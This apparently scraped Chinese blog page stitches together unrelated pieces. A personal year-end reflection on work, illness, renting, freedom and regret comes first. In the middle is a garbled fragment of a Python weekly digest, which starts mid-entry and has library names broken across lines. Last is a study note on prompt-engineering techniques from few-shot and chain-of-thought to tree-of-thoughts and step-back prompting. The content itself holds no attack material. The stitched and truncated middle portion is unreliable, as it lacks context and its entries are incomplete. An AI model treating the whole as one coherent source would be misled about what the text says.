工作中还学习到的一点是:对事情/过程的总结。同一个事情,面对不同人需要总结内容是完全不同的。比如一个问题排查过程,对于用户可能不需要知道具体是什么bug,而是给一个修复的预期即可;对于leader 需要知道问题的影响范围,大致的问题原因(不需要太技术细节),以及修复版本;对于其他RD 则可能会想知道更深入的技术细节,导致问题发生的真正原因。每个维度,每个角色所需要的信息都不同,这也是一门技能。这项技能是贯穿整个工作过程中的,在周会、OKR、季度总结、绩效、对上级汇报等等都会使用到。知道读者期望阅读的内容是非常关键的。这一点需要真正实践体会过才能明白。
有的时候我阅读别人的技术方案,根本看不懂,一些缩写名词可能对方已经非常清楚,但作为不了解他工作的内容的人就是看不懂,又或者是流程图和所写的文字对不上,或者是中间漏写了一部分关键流程。
这样的问题可能也会发生在我自己的身上,可能是由于时间问题,没有经历完善好文档,又或者是因为自己始终站在自己的视角,所以是需要不断自省的。所以今年我也会在技术文档、内容总结会多投入时间去学习。
短短入职一年半,身边就变化了很多,去年一起校招的同事转base了,另一位之前交流挺多的同事也转base了。最开始入职的时候mentor也转base了。今年上半年的另一位mentor也离职了,我自己工区也换了一个。
身处其中可能对变化没有太大感觉,但事实上,职场就是不断变化的。在这个过程中,需要清醒的认识的到一点是,自己在工作中所有身份、代码、文章、荣誉都是转瞬即逝的。只有留存在自己大脑中的知识才是最终真实的。如果没有意识这一点,则会对很多没有太大价值事情过分的看重,而忽略了最重要的事情。
这一年的生活是简单的,几乎所有的周末我都没怎么出门,周六上午睡到中午,下午和周日的时间过得很快。
4月底的时候开始胸闷,一直到现在也没有完全好,从一开始看呼吸科查CT,后来怀疑和慢性咽炎有关系看耳鼻喉科,再到看消化内科以及心血管科,从上到下几乎都检查了。现在根据症状,消化内科医生判断是慢性胃炎和胃食道反流,但是还没有做胃镜,所以一直吃着抑制胃酸的药。
6月底住的房子到期,终于从5人合租的房子换成三人合租的房子,没想到是一个坑跳进另一个坑,每天早上的关门声都会吵醒我,而且是早上6:50到7点半左右。中间还有长达3~4个月的楼上装修,长达好几周,每天早上8点就开始电钻声!!幸运的是这次3月底到期,这次肯定是不会续租的了。
除夕的前一天我请假了一天,准备理发完后收拾行李回家。上午去理发排了很长的队,一直到下午两点多才完成。于是准备找点吃的打发一下午餐。于是找了一个麦当劳的店点了一个鸡腿、一块鸡排、一杯可乐在店里靠窗的地方坐下来了。因为临近除夕,又是下午,店里除了我几乎没有客人,店外偶尔有人路过。
头发刚刚剪完,凭着自己想吃什么就吃什么点的麦当劳,而且迎接到来的春节假期,那一刻可以彻底的忘掉所有的压力,任由食物的美味填饱肚子,漫无目的的放空看向窗外,那一刻感觉特别的自由。
经常我会在心情不好的时候,问自己活着的目的到底是什么。体验更多不一样的经历?我是一个很懒的人,也不喜欢热闹,那些新奇的经历对我而言没有太多的吸引力,出门旅游每次都是劳财伤民,不是我的目标。过更好的生活?要知道更好是无法定义的,有的大house,会想要好家具,会想要更好更多的身外之物,这些都是我不愿意陷入的泥潭。但那一刻我也许明白了,生活的目标就是有越来越的自由。
小的时候,吃烤串、披萨是非常奢侈的事情,当时我应该是小学的时候,爸妈就在北京务工,暑假的时候我会过来,傍晚路边烤串就已经是3块一串了,披萨则是根本没吃过。直到我大学期间,我有一些收入的时候,我点了一次烤串外卖足足点了90多块钱,家里我、妈、爸三人加在一起也吃不完,为什么要点这么多,其实就是不想像过去那样,总是担心太贵了,而违心的说,我不想吃,我吃不下了。后来路过必胜客的时候,第一次进店里买了披萨带回去吃,印象中是60多块钱,现在想来还是挺贵的(外卖一人食也才20多)。
有些自由是随着年龄变化而获得亦或者失去的,比如读书时候,就是会被校园、宿舍这些东西所困,没有独立的经济,不能自由选择自己的生活。每个年纪在我看来都有不同的约束,但目前而言,可能是我觉得相对自由最大的时刻了。
看上去,自由和话语权/地位有些相似,在我看来是完全不同的。自由是解除对自身的禁锢,它基本上不会损害别人的利益,而话语权、地位则是凌驾他人之上,以贬低别人获取更多自己的空间,是非常恶劣的做法。
自由总是相对的,决定没有绝对自由。所谓绝对自由,大抵是什么都可以不做,想干嘛就干嘛。总是需要用一些事情作为代价来换取我们真正需要的那部分自由,这代价本身可能就是某些自由。如果以绝对自由作为人生目标,那只恐怕要失望到底了。
[hplayer]
[Music server="netease" id="1934807" type="song"/]
[/hplayer]
接受失去才意味着面对了现实,只有这样才意味着你跨过了这道坎,但是才能知道接下来怎么走。就比如说一个人生病了,如果没有认识到这个事情,或者不相信不接受自己生病了,那怎么去治疗,和康复呢?
这句话也许出现在很多鸡汤中,但接受失去并不是一件容易的事情。如同标题上写的一样,“生活是一场脱敏试验”,你可能一开始不接受,但是随着时间一次又一次地通过各种方式告诉你就是失去了这个东西。比如生病了失去了健康,身体不舒服是切身感受到的
一次又一次的身体不舒服,让你不得不重视这件事情,意识到自己病了。接下来就必须需要花费时间去重视,只治疗这个问题。生活会一次次的把自己摁在地上摩擦,直到接受现实为止。之前看过这样一句话,时间它是治愈一切的良药。最开始我是不相信的,一年、两年、三年又怎样呢,就可以彻底忘记吗。但是几年后,过去认为非常重要的事情,现在已经变得模糊不清了。
失去固然可惜,但是当下仍然是有着充足的理由值得我们珍惜的。如果没有搞清楚这个理由,那珍惜当下就是一个口号,并不不走心。
在病情较轻的时间点,我天天抱怨,为什么就突然身体不舒服了啊,这真是太倒霉了!我们知道,在任意时刻,当下的状态是有不同的可能性的,可能是身体好的那个分支,也可能是身体差或者身体更差的故事分支。而在那个时刻,我总是和“更好可能性”的分支去比较,就只能心生抱怨、不满与痛苦的。后面的时候,我的病情严重了些,晚上需要频率比较高的深呼吸才能缓解,甚至还影响睡觉。那个时刻,我非常怀念正常呼吸的日子。只要能舒畅的呼吸,我肯定就什么都不抱怨了。当时一直抱怨的生活状态竟成为了未来向往的状态!
这就是为什么我们需要珍惜当下的理由,生活走向更差故事线的可能性并不是很低,反而是很高的,而当下则非常可能是未来我们向往求而不得的生活状态!
就好像“向死而生”一样,人们都说“The best is not come yet”,但现实很可能是“The worst is yet to come”。认识到这一点,才会发自内心的对当下有更多的知足感。
[hplayer]
[Music server="netease" id="17910223" type="song"/]
[/hplayer]
or go on, go on, go on
继续吧 继续吧 继续吧
if you are thinking that the worst is yet to come
如果你认为最糟的还没到来
我是一个非常不擅长聊天的人。平时吃饭的时候,我会观察大家在聊什么,以及我自己在和别人闲聊,我也会观察别人会和我聊什么。时间长了,我会发现闲聊的很大部分就是车轱辘话,换句话是“无意义的话”。要么聊上周末干了啥、买了啥,看到了啥,要么就是之前聊过的话题因为不同的场景又再一次重新去说。
看过一个段子:“我”出门的时候,邻居总是问,上班去呀。不然呢,早上7点,我背个包去夜店吗?我家狗我总结出每天这个点我要上班了。其实现实就是如此,看到认识的人从食堂出来,就会问,刚吃完饭呀。从茶水间出来,会说来喝水呀。仔细想想这样的寒暄有任何意义吗,平时的闲聊有什么意义吗?
如果说是否从这些话中获得了有意义的信息,获得了成长,那肯定是没有的。但是慢慢觉得,不是所有事情,因为有明确的意义我们才去做,或者换句话是,我们一天那么长的时间其实很多时间都是没意义的。比如我们刷短视频有任何意义吗,大部分时候并不是想从短视频获得什么知道,就是打发时间,获取纯粹的开心或者是猎奇感而已
人与人聊天也是这样的,本身就不需要寻求什么意义,就是打发时间,这个过程里如果能加深聊天对象之间的熟悉感,增加个人与群体的联系,那更是额外收获了。这个,就是我关于这个话题的一些思考和想法。
《繁星·春水》 作者冰心
成功的花,
人们只惊羡她现时的明艳!
然而当初她的芽儿,
浸透了奋斗的泪泉,
洒遍了牺牲的血雨。
小学课本上一首小诗,在今年有了一些更深的感受。
有这样的一个视频估计很多人都看过,就是一个小女孩模仿大人皱眉,惹得大家捧腹大笑。这个小孩的家长在b站上有账号“蹦蹦和蜜糖”。因为这个视频我很早之前就关注了,疫情的时候,他们开了一个炸鸡店,我还看过他们直播。不管是直播还是拍的视频都是我非常羡慕的家庭氛围,虽然他们家不富裕。今年看到他家庭也离婚了,并且因为离婚的事情,爸妈都在各自的账号下发布自证相关的视频。作为一个普通网友总有些说不出的滋味。
这一次是非常真切的感受到所谓“美好生活短视频”的另一面。这并不是个例,抖音的slogan就是“记录美好生活”,但实际上是剪辑美好视频罢了。需要认识到这些看上去美好的视频实际上包含了很多演绎与虚假的成分。
美好生活并非短视频那般轻松,并非唾手可得。要想美好的事情发生在自己身上,一定要付出代价,我们一定要有付出代价这样的一个心理准备和觉悟,这其实是我想说的这个观点。
我经常会在觉得自己生活不够“上进”的时候,会短期的打鸡血设定一个目标,期望达成后能改变现状,改变生活。但是愈发的发现这是不现实的。
所谓打鸡血就是以一个比较高的要求去要求自己在一个相对较短的时间去获得比较明显的收益。比如想要一个月减肥10斤、一月看xx本书。就好像是一辆没有发动的汽车,突然以120km/h 速度启动起来运行,就很容易出问题,回到现实场景中就很难持续下来。
所以更好坚持的方法是以更小(非常小)的步长、更小(非常小)的目标的开始启动,不要一开始想着设定最终的目标,而是在当前的基础上,设定非常的小的一步,先启动起来,并且坚持一段时间,知道这一步变成当下的习惯后,再在这个基础上再设定一个很小的变化,持续迭代。
这里有一个方法就是“每日三件事”清单,可以用一个文档记录每天要做的三件事。可能你会说我每天要做那么多事情,怎么可能只有三件事。这里要记录的是对自己有略微有挑战的事,或者是之前不愿意做的事情。举个例子,之前做不到早睡,那么就可以将xxx点睡觉作为其中一项,不想洗衣服,就可以将洗衣服作为其中一项。最开始可能有很多想做的事情,但确保始终只记录不超过三件事,我建议从记录一件事开始。超过这个数目的其他事情如果有时间做,不要写在这个清单上,可以默默无闻的做掉,或者记录在另一个清单里。
这个过程我在去年尝试了一个月是非常有效的,但是后来没有坚持下来这个习惯,一方面是后来甚至没有时间(懒)一件事都做不下来。今年我会继续尝试这个事情。
生命中我们做过很多选择与决定。当回头看的时候,难免会对某些选择感觉到遗憾,从现在的角度来看,当时的选择似乎不够明智。
遗憾和后悔并不是一件事情。弄清这两个概念我觉得非常必要的。奇葩说某一期就有关于这个话题的讨论(EP24:终其一生只是个平凡人你后悔吗)。后悔总是伴随着假设,即如果当初我不那么选择,结果会不会更好,而遗憾则坦然的接受和认清的事实。
比如当时因为某事情和某个人的感情生疏了,那这个结果就是事情,是可以遗憾的。但如果总是想着如果当初这件事那样做就好了,就不会和某人决裂了,那这个行为就是后悔。
后悔是一种非常没有必要的内耗。首先后悔中的假设都是需要回到过去。坦然的问我自己,我不愿意回到我过去的任何一个阶段,我当下的阶段是过去任何一个阶段努力过来的结果,我并不觉得当下的阶段比过去的任何一个阶段综合来看更差,至少在我目前关注的部分,没有更差。其次,就算回去了,以当时的视角、经验、环境,我能做出更好的决定吗,我觉得不能。当时那么做一定有当时的理由,我不是疯子、傻子,再回到过去,这个理由仍然是存在的。
所以不要后悔的本质是不能过高的要求过去的自己有上帝视角作出最佳的决策,而是要接受过去自己所做的每个决定。可以浅浅的为过去一些不是特别正确(也许)的决定叹口气,然后接受它。
datetime
模块的 10 个陷阱,同时介绍了主流的三方库的情况(例如 arrow
、pendulum
、DateType
、heliclockter
),发现它们大多存在同样的问题。什么样才是更好的日期时间库?作者开源了一个库,试图解决文中的问题。language-tool-python
、Gramformer
、Ginger
和 pyaspeller
4 个库用于检查和自动纠正语法错误。snoop
、pdb/ipdb
、PuDB
、web-pdb
、birdseye
、Kolo
等等。struct
、array
、heapq
,也用了上下文管理器和生成器等技术。Pylasu
定义 AST,使用ANTLR
生成解析器,实现从 ANTLR 解析树到 Pylasu AST 的转换,最后构建出带 CLI 的玩具编程语言解析器。typing
模块的这篇文档列举了一些不推荐使用类型提示的原因。llama.cpp
的完整过程,例如选择和下载模型、提示词设置、使用 GBNF 语法格式化 LLM 输出、流式响应、多模态模型等。CPU.xlsx
文件提供了 16 位 CPU、16 个通用寄存器、128KB RAM 和 128x128 显示区域。使用 Python 进行编译。(star 3K)urllib3
发布了 2.2.0 版本,支持在Pyodide
运行时中使用!后者是用在浏览器中的 Python 解释器,也是PyScript
和 Jupyterlite
框架的技术基础。这对 Python 的前端开发有重大作用,未来可期。Gnuplot
是一个强大的开源绘图工具,用于生成各种类型的二维和三维图表。这个项目将它与 Numpy 结合,充分利用数据处理和绘图能力。gradio
的 Web UI 界面。默认使用 GPT4 模型,可轻松切换其它 LLM。mmap
作大文件处理、减少使用全局变量、利用逻辑运算符的短路求值、选择合适的数据类型、使用字符串驻留技术。Scrapscript
是一种小型、纯粹、函数型、内容可寻址、网络优先的编程语言,作者介绍了它的设计原则、特性、已实现和开发中的功能,以及使用 Python 实现的过程。在之前的笔记中,我们学习了很多大模型的使用技巧,比如 实现一个划词翻译插件、实现基于文档的问答助手、实现基于数据库的问答助手 等等,在这些使用场景中,我们应该都或多或少听过 提示工程(Prompt Engineering) 这个概念;另外,在 大模型应用开发框架 LangChain 学习笔记(二) 这篇笔记中,我们学习了什么是 智能体(Agent),并使用 LangChain 实现了几种不同类型的智能体,将提示工程技术发挥得淋漓尽致。那么到底什么是提示工程呢?提示工程又有哪些使用技巧呢?这篇笔记就来系统地学习下相关知识。
根据 《Prompt Engineering Guide》 这份指南中对提示工程的解释,提示工程(Prompt Engineering) 是一门关注于 提示词(Prompt) 的开发和优化的学科,能够帮助用户将大模型用于各种应用场景和研究领域,比如我们可以利用提示工程来提升大模型处理复杂任务的能力(如问答和算术推理);或者实现大模型与其他生态工具的对接。
所谓提示词,说白了就是我们给大模型下发的指令,提示词写对了,大模型才能输出相应的结果,提示词写的越好,大模型输出的结果就越准确。提示词由下面的一个或多个要素组成:
提示词所需的格式取决于你完成的任务类型,并非所有以上要素都是必须的。比如在前面的笔记中,我通过下面的提示词实现了英汉翻译:
Translate this into Simplified Chinese:
The OpenAI API can be applied to virtually any task that involves understanding or generating natural language,
code, or images.
这个提示词只包含了 指令 和 输入数据 两个部分。我还通过下面的提示词实现了基于文档的问答:
你是一个知识库助手,你将根据我提供的知识库内容来回答问题
已知有知识库内容如下:
1. 小明家有一条宠物狗,叫毛毛,这是他爸从北京带回来的。
2. 小红家也有一条宠物狗,叫大白,非常听话。
3. 小红的好朋友叫小明,他们是同班同学。
请根据知识库回答以下问题:小明家的宠物狗叫什么名字?
这里除 指令 和 输入数据 之外,还新增了 上下文 部分。可以看到,这些提示词都非常简单,而且效果也都还不错,这其实得益于大模型强大的自然语言处理能力。对于这种简单的任务,提示工程的作用并不明显。但是对于一些复杂的任务,比如算术和推理,或者解决大模型的局限性问题,比如幻觉和上下文限制等,不同的提示工程技术可以大大改善大模型的输出效果。
提示工程是一门经验科学,提示词的细微差别可能会导致不一样的输出结果,甚至相同的提示工程技术,在不同模型之间也可能效果会有很大的差异,因此提示工程需要进行大量的实验和测试。尽管如此,编写提示词还是有一些通用的原则可以遵守的。
在设计提示词时,需要记住这是一个迭代的过程,需要大量的实验来获得最佳结果。避免从一开始就引入过多的复杂性,而应该从简单的提示词开始,然后不断地添加更多的元素和上下文,观察效果是否提高,在这个过程中对提示词进行版本控制。
比如你可以从零样本提示开始,如果效果不好,再改用少样本提示,如果效果还不好,再改用 Fine-tuning 方案。
另外,当你面对一个复杂的大任务时,可以尝试将任务分解为更简单的子任务,通过构建不同的提示词来解决每个子任务。
正如前文所述,指令是提示词的几大要素之一,通过指令可以完成一些简单任务,比如:分类、总结、翻译等。在 OpenAI 的提示工程最佳实践 中,建议将指令放在提示的开头,并使用一些诸如 ###
或 '''
的分隔符来分隔指令和上下文:
总结下面的文本内容,将其中的要点以列表形式展示出来。
文本内容:"""
{text input here}
"""
确保你的提示词是明确的(Be specific)、具体的(Descriptive)、并且尽可能详细的(As detailed as possible),可以把和大模型的对话类比为和人的对话,沟通越直接,信息传递就越有效。比如下面是一个反例:
写一首关于 OpenAI 的诗
这个提示词就不够精确,我们应该对诗的内容做进一步描述才能让大模型更好的生成内容:
写一首鼓舞人心的关于 OpenAI 的短诗,聚焦最近的 DALL-E 产品发布(DALL-E 是一种文本到图像的机器学习模型),风格类似于莎士比亚。
下面是另一个描述不够精确的例子:
对该产品进行描述,描述应该相当简短,只有几句话,不能过多。
这个提示词啰里啰嗦,而且使用了一些模糊不清的概念,我们可以改得更直接、更具体、更简洁:
使用 3 到 5 句话描述该产品。
我们如果对模型的输出格式有特殊要求,最好提供几个示例,比如下面这个例子:
提取下面文本中的公司名称和成立时间。
以 JSON 格式输出:
[
{ "name": "XXX", "establish_time": "XXX" },
{ "name": "YYY", "establish_time": "YYY" }
]
文本内容:"""
{text input here}
"""
这样的输出格式有一个好处,我们可以在程序中对大模型的输出进行可靠地解析。
设计提示词的另一个常见技巧是避免说不要做什么,而是说要做什么。下面是一个反例:
下面是客户和代理商之间的对话。不要问客户的用户名和密码。不要重复回复的内容。
客户:我登录不了我的账号
代理商:
改成下面这样会更好:
下面是客户和代理商之间的对话。代理商将尝试诊断问题并给出解决方案,同时避免询问客户的个人信息(如用户名和密码),
当涉及到这些信息时,建议用户访问帮助文档:www.samplewebsite.com/help/faq
客户:我登录不了我的账号
代理商:
当我们使用大模型构建一个客服聊天机器人之类的对话系统时,可以在提示词中明确它的身份和意图,就像玩角色扮演一样,比如:
我希望你扮演面试官的角色。我会充当一名 Java 开发工程师的候选人,然后你要问我关于这个职位的面试问题。你要像面试官一样说话。
不要一次写下所有的对话,不要写解释,像面试官一样一个接一个地问我问题,然后等待我的答复。我的第一句话是 “你好”。
这时大模型就变成了一位 Java 面试官,这种技巧有时也被称为 角色提示(Role Prompting)。你也可以尝试其他角色,比如教师、小说家、医生、足球评论员,甚至可以让它扮演 Linux 终端、浏览器、Python 执行器等等,这里有大量案例可供参考:Awesome ChatGPT Prompts。
上面提到,一个提示词是由指令、上下文、输入数据和输出指示这几个要素中的一个或多个组成的,这其实就为如何编写提示词提供了一个基础框架,最初由 Elavis Saravia 在 《Prompt Engineering Guide》 中总结的。
除此之外,还有一些提示词框架对提示词的格式和内容做了更明确的定义,比如 Matt Nigh 的 CRISPE 框架:
云中江树的 结构化提示词:
# Role: Your_Role_Name
## Profile
- Author: YZFly
- Version: 0.1
- Language: English or 中文 or Other language
- Description: Describe your role. Give an overview of the character's characteristics and skills
### Skill 1
1. xxx
2. xxx
### Skill 2
1. xxx
2. xxx
## Rules
1. Don't break character under any circumstance.
2. Don't talk nonsense and make up facts.
## Workflow
1. First, xxx
2. Then, xxx
3. Finally, xxx
## Initialization
As a/an <Role>, you must follow the <Rules>, you must talk to user in default <Language>,you must greet the user.
Then introduce yourself and introduce the <Workflow>.
感兴趣的同学可以尝试一下。
上面介绍了设计提示词时应该注意的基本原则,遵守这些原则有助于让大模型输出你期望的结果,另外,还有一些提示技术或技巧,也可以大大提高大模型的效果。
零样本提示(Zero-shot Prompting) 与 少样本提示(Few-shot Prompting) 是最基础的提示技术。零样本提示就是直接向模型输入文本以获取回答,比如:
文本:今天的天气真不错!
情感分类:
有些模型会直接输出分类结果:
积极
有些模型还会输出一些解释性的内容:
您的文本:“今天的天气真不错!”表示的是一种积极或正面的情感。
这种表达通常反映出满足、愉悦或幸福的情绪。因此,情感分类可以是“正面”或“积极”。
这可能并不是我们所想要的,这时,我们就可以通过少样本提示来引导大模型输出我们期望的格式:
文本:这是我读过最精彩的一本小说!
情感分类:积极
文本:这部电影内容一般般啊!
情感分类:消极
文本:这是一部关于友谊的电影。
情感分类:中性
文本:今天的天气真不错!
情感分类:
少样本提示通过提供一些包含输入和期望输出的示例,让大模型更好地理解我们的意图,因此,少样本提示通常比零样本提示有更好的表现,然而它是以消耗更多的 token 为代价的,并且当输入和输出文本很长时可能会达到上下文长度限制。
少样本提示技术由 Tom Brown 等人 2020 年在 Language Models are Few-Shot Learners 这篇论文中提出,这项技术利用了大模型的 上下文学习(In-context Learning) 能力,即大模型可以从少量的示例数据中学习新任务,而无需进行任何参数更新。Sewon Min 等人在 Rethinking the Role of Demonstrations: What Makes In-Context Learning Work? 这篇论文中做了更深入的研究,探讨了少样本提示是如何工作的?以及它为什么是有效的?论文中还总结了一些有趣的结论:
比如将上面的例子改成下面这样:
文本:这是我读过最精彩的一本小说!
情感分类:消极
文本:这部电影内容一般般啊!
情感分类:中性
文本:这是一部关于友谊的电影。
情感分类:积极
文本:今天的天气真不错!
情感分类:
尽管示例数据中的分类结果都是错的,但是大模型依然可以输出正确的结果。
如何构建少样本提示中的示例数据是另一个值得探讨的课题,目前已经有很多论文对此进行了研究。Tony Z. Zhao 等人在 Calibrate Before Use: Improving Few-Shot Performance of Language Models 这篇论文中提出:提示词的格式、示例数据的选择以及示例数据的顺序都可能导致截然不同的性能。
论文中进一步指出,出现这种现象的原因可以归结为如下几种偏差:
为了克服这些偏差,论文中提出了一种方法,使用一个无内容的输入(如:N/A
)来估计模型对每个答案的偏差,然后调整参数,使得对于这个输入的预测在所有答案上均衡。
关于示例数据的选择有几个普遍建议可供参考:
如果想更深入地学习相关的内容,下面这些论文可供参考:
Liu et al. 2021, What Makes Good In-Context Examples for GPT-3?
Su et al. 2021, Selective Annotation Makes Language Models Better Few-Shot Learners
Rubin et al. 2021, Learning To Retrieve Prompts for In-Context Learning
Zhang et al. 2022, Active Example Selection for In-Context Learning
在少样本提示中,我们提供少量示例数据的目的是向大模型解释我们的意图,那么,为什么我们不直接将我们的意图告诉大模型呢?
对下面的文本进行情感分类,分类结果可以是“积极”、“消极”或“中性”。
文本:今天的天气真不错!
情感分类:
能从指令中理解用户意图的模型我们称之为 指令模型(Instructed LM),这些模型通过高质量的数据(包括指令、输入和输出)对预训练模型进行微调,以使语言模型更好地理解用户意图并遵循指令,这个过程叫做 指令微调(Instruction Tuning)。
Google 在 2021 年首次提出指令微调可以解锁大模型的指令理解能力,并发布了 FLAN 模型;BigScience 紧随其后,发布了 T0 模型,相对 FLAN 来说,它的指令数据集更加丰富多样;正当 Google 和 BigScience 还在各种不同的标准任务上评估大模型能力提升时,OpenAI 却开始从另一个角度来评估人工智能,那就是如何更好地帮助人类解决问题,它将数据集从标准的 NLP 任务改成用户提交的真实问题,最终在 2022 年发布了 InstructGPT 模型,并在 InstructGPT 的基础上训练出了风靡全球的 ChatGPT;之后还有 AllenAI 发布的 TK-Instruct 模型,它使用了更大规模的指令数据集进行训练,并将 指令集完全开源,推动了指令模型的发展。
这些指令模型都有对应的论文:
此外,指令微调常见的方法是 RLHF(Reinforcement Learning Human Feedback,来自人类反馈的强化学习),可以让模型被调整得更好地适应人类的偏好。
目前市面上的大语言模型基本上都是指令模型,在与指令模型交互时,我们要遵守上一节中介绍的基本原则,指令要求要详细,尽量具体和准确,避免说不做什么,而是说明要做什么。
指令提示和少样本提示可以组合使用,Seonghyeon Ye 等人在 Investigating the Effectiveness of Task-Agnostic Prefix Prompt for Instruction Following 论文中提出一种 In-context Instruction Learning 的方法,他们在提示词中包含了不同任务的多个示例:
任务:确定对话的发言人是 “代理商” 还是 “客户”
输入:我已经成功为你预定了机票。
输出:代理商
任务:确定问题所属的类别是 “数量” 还是 “位置”
输入:美国最古老的建筑是什么?
输出:位置
任务:对给定的电影评论进行分类,“积极” 还是 “消极”
输入:我猜视频游戏一定比电影有趣多了。
输出:
通过这种方式可以显著提高预训练模型和指令微调模型的零样本任务泛化性能。
传统的少样本提示可以显著提高大模型在分类、翻译、生成等任务中的性能,但是在处理算术、常识、符号推理等任务时却不那么明显。Jason Wei 等人于 2022 年发表论文 Chain-of-Thought Prompting Elicits Reasoning in Large Language Models,提出了一种新的名为 思维链(Chain of Thought, CoT) 的提示技术,通过向大模型展示中间推理步骤实现了复杂的推理能力,结合少样本提示还可以获得更好的结果。
下面是思维链的一个经典示例:
左边是传统的提示技术,首先向大模型展示一个问题样例以及该问题的答案,我们希望大模型能直接给出答案,但是很可惜,结果是错的;右边是使用思维链提示技术,和左边一样,也是向大模型展示一个问题样例,但是接下来我们不是直接给出问题的答案,而是给出解答该问题的推理过程,这样大模型就会模仿你的推理步骤,并成功解决新的未知问题。
虽然思维链很强大,但是要注意的是,这种能力只有在足够大的语言模型上才会涌现(大于等于 100B),在较小的模型上使用思维链效果可能比标准提示更差。
在 Jason Wei 等人的论文发表后不久,Takeshi Kojima 等人也发表了一篇关于思维链的论文:Large Language Models are Zero-Shot Reasoners,论文中介绍了 零样本思维链(Zero-Shot-CoT) 技术,而 Jason Wei 等人提出的技术被称为 少样本思维链(Few-Shot-CoT),和之前的思维链不同的是,零样本思维链不需要在提示词中给出解决问题的推理过程,而是直接在提示词中加上一句 让我们逐步思考(Let's think step by step.) 这样的话即可:
这么简单的一句话,竟然可以起到这么大的作用,着实让人意想不到。有趣的是,论文中还尝试了不少其他的提示词,最终发现 Let's think step by step. 效果最好:
不过,零样本思维链通常不如少样本思维链有效,只有当你没有太多的示例数据时可以尝试一下。此外,这个技巧除了用于解决复杂的推理问题,还适合生成一些连贯主题的内容,比如写长篇文章、电影剧本等。
根据上面的学习我们知道,思维链提示是让大模型模仿示例数据生成一系列的推理步骤,最终解决用户问题,但是很显然,大模型在生成中间步骤时仍然是可能出错的。Xuezhi Wang 等人在 2022 年提出的一种改进思维链的方法,即 自我一致性(Self-Consistency),参见论文 Self-Consistency Improves Chain of Thought Reasoning in Language Models。
自我一致性的想法很简单,通过多次执行 CoT 得到多个推理路径,然后在多个结果中投票选择最一致的答案:
从上图可以看出自我一致性方法整体包括三个步骤:
虽然这种方式有点大力出奇迹的感觉,但是它确实可以提高思维链在算术和常识推理等任务中的性能。在具体的使用过程中,还有两个问题值得注意:
自我一致性本质上是一种集成学习方法,Xuezhi Wang 等人后来又对其进行了优化,提出了 推理增强集成(Rationale-Augmented Ensembles) 方法,通过改变示例顺序或使用模型生成的推理链来替换人工编写的推理链,在多个样本试验中引入随机性,然后通过多数投票来聚合模型输出,得到最终答案,参见论文 Rationale-Augmented Ensembles in Language Models。
在 零样本思维链(Zero-Shot-CoT) 那篇论文中,作者提出了一种利用大模型进行两阶段推理的设想:
第一个阶段先进行问题的拆分并分段解答问题(Reasoning Extraction),然后第二阶段再进行答案的汇总(Answer Extraction),这给了最少到最多提示很大的启发。
最少到最多提示(Least-to-Most Prompting,LtM) 也是一种改进思维链提示的方法,由 Denny Zhou 等人在 Least-to-Most Prompting Enables Complex Reasoning in Large Language Models 这篇论文中提出。
LtM 提出的初衷是为了解决 CoT 泛化能力不足的问题:即通过人工编写的示例数据可能并不能够很好的迁移到别的问题当中去,这种泛化能力的不足会导致新的问题无法使用老的模板进行解决。所以一个思想就是:让大模型自己找到解决当前问题的思维链。
相比于自我一致性,LtM 明显更优雅一些,它的思路使用了分治的思想,首先将大问题拆分成小问题,然后依次解决小问题,最后解决大问题:
传统的思维链提示,以及基于思维链的改进方法比如自我一致性,都存在着明显的缺陷:
为解决这些不足,Shunyu Yao 等人在 2023 年 5 月发表了一篇论文 Tree of Thoughts: Deliberate Problem Solving with Large Language Models,提出了 思维树(Tree of Thoughts,ToT) 的框架,让语言模型可以探索多个推理路径,把解决问题视作在一棵树上的搜索,树上的每个节点代表问题以及到目前为止的思考过程:
ToT 允许语言模型在解决问题的中间过程进行探索,通过考虑多种不同推理路径并进行评估,同时具备向前看跟向后回溯的能力以获得更佳决策选择。一个完整的 ToT 包括下面四个过程:
ToT 会根据问题属性去设计和分解中间的想法过程,每个想法应该足够小,使得语言模型可以生成有潜力跟多样的样本,同时又应该足够大,使得语言模型可以评估该想法解决问题的潜力;
文中提供了 Sample 和 Propose 两个想法生成策略,前者利用 CoT prompt 多次采样,这种方式能保证多样性,在想法空间更宽泛时效果更佳,后者依据 "propose prompt" 依次生成想法,可以避免同一个上下文生成重复的想法,更适用于思维空间受限的场景;
给定不同的当前状态,让状态评估器评估它们对于解决问题的帮助,以确定哪些状态值得继续探索,以及以何种方式探索;
在 ToT 框架中,可以根据树形结构插入和使用不同的搜索算法,文中探索了两种相对简单的搜索算法:BFS 广度优先算法,每一步中保留最优潜力的 K 个状态;DFS 深度优先算法,优先探索最优潜力的状态,直到得到最终结果,或者超过当前状态被评估不可能解决问题就停止,如果是后者的话可以退回父节点,继续进行探索。
论文中使用 ToT 开展了三个不同的实验:24 点游戏、迷你填字游戏 和 创意文本生成,都取得了非常好的表现,论文作者还在 GitHub 上开源了他们的代码 princeton-nlp/tree-of-thought-llm,感兴趣的同学可以尝试下。
另外,除了 Shunyu Yao 等人发表的这篇关于思维树的论文外,Jieyi Long 也发表了一篇类似的论文 Large Language Model Guided Tree-of-Thought,他提出由强化学习(Reinforcement Learning)训练出的 “ToT 控制器”(ToT Controller)来驱动树的搜索策略,这种方法的好处是可以从新的数据集学习,或是在自对弈的过程中学习,使得 ToT 系统可以不断进化。
一般来说执行 ToT 的过程中会涉及到多次大模型的调用,在处理大型任务时 token 的消耗会非常大,于是就有人将 ToT 框架的主要概念概括成了一段简短的提示词,指导 LLM 在一次提示中对中间思维做出评估,下面是一些示例。
示例一:
Imagine three different experts are answering this question.
All experts will write down 1 step of their thinking,
then share it with the group.
Then all experts will go on to the next step, etc.
If any expert realises they're wrong at any point then they leave.
The question is...
示例二:
Three experts with exceptional logical thinking skills are
collaboratively answering a question using the tree of thoughts method.
Each expert will share their thought process in detail,
taking into account the previous thoughts of others and admitting any errors.
They will iteratively refine and expand upon each other's ideas, giving credit where it's due.
The process continues until a conclusive answer is found.
Organize the entire response in a markdown table format.
The task is:
后退提示(Step-Back Prompting) 是 Google DeepMind 团队在论文 Take a Step Back: Evoking Reasoning via Abstraction in Large Language Models 中提出的一种新的提示技术,它的灵感来自于 当人类面对具有挑战性的任务时,其思维经常会出现退一步并进行抽象,以得出指导过程的高级概念和原则,后退提示解决问题的方法就是要求大模型先后退一步,重新考虑问题的基础原理,有助于避免直接跳入细节而导致错误。
